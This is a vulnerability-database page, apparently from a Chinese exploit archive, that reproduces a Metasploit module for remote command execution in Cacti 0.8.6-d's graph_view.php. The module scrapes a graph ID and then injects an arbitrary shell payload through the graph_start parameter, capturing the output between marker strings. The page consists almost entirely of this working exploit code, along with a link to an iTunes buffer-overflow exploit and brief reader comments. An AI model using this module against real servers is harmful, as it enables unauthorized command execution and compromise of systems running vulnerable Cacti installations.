Cacti 0.8.6-d – ‘graph_view.php’ Command Injection (Metasploit)
漏洞ID | 1054859 | 漏洞类型 | |
发布时间 | 2005-01-15 | 更新时间 | 2005-01-15 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | PHP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Cacti graph_view.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
0.8.6-d are vulnerable.
},
'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['OSVDB', '17539'],
['BID', '14042'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 15 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
], self.class)
end
def exploit
# Obtain a valid image ID
res = send_request_cgi({
'uri' => datastore['URI'],
'vars_get' =>
{
'action' => 'list'
}
}, 10)
if (not res)
print_status("The server returned: #{res.code} #{res.message}")
return
end
m = res.body.match(/local_graph_id=(.*?)&/)
if (not m)
print_status("Could not locate a valid image ID")
return
end
# Trigger the command execution bug
res = send_request_cgi({
'uri' => datastore['URI'],
'vars_get' =>
{
'local_graph_id' => m[1],
'graph_start' => "necho YYY;#{payload.encoded};echo YYY;echon"
}
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
print("")
m = res.body.match(/YYY(.*)YYY/)
if (m)
print_status("Command output from the server:")
print(m[1])
else
print_status("This server may not be vulnerable")
end
else
print_status("No response from the server")
end
end
end
相关推荐: Apple iTunes – Playlist Buffer Overflow Download Shellcode
Apple iTunes – Playlist Buffer Overflow Download Shellcode 漏洞ID 1054861 漏洞类型 发布时间 2005-01-16 更新时间 2005-01-16 CVE编号 N/A CNNVD-ID N/…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666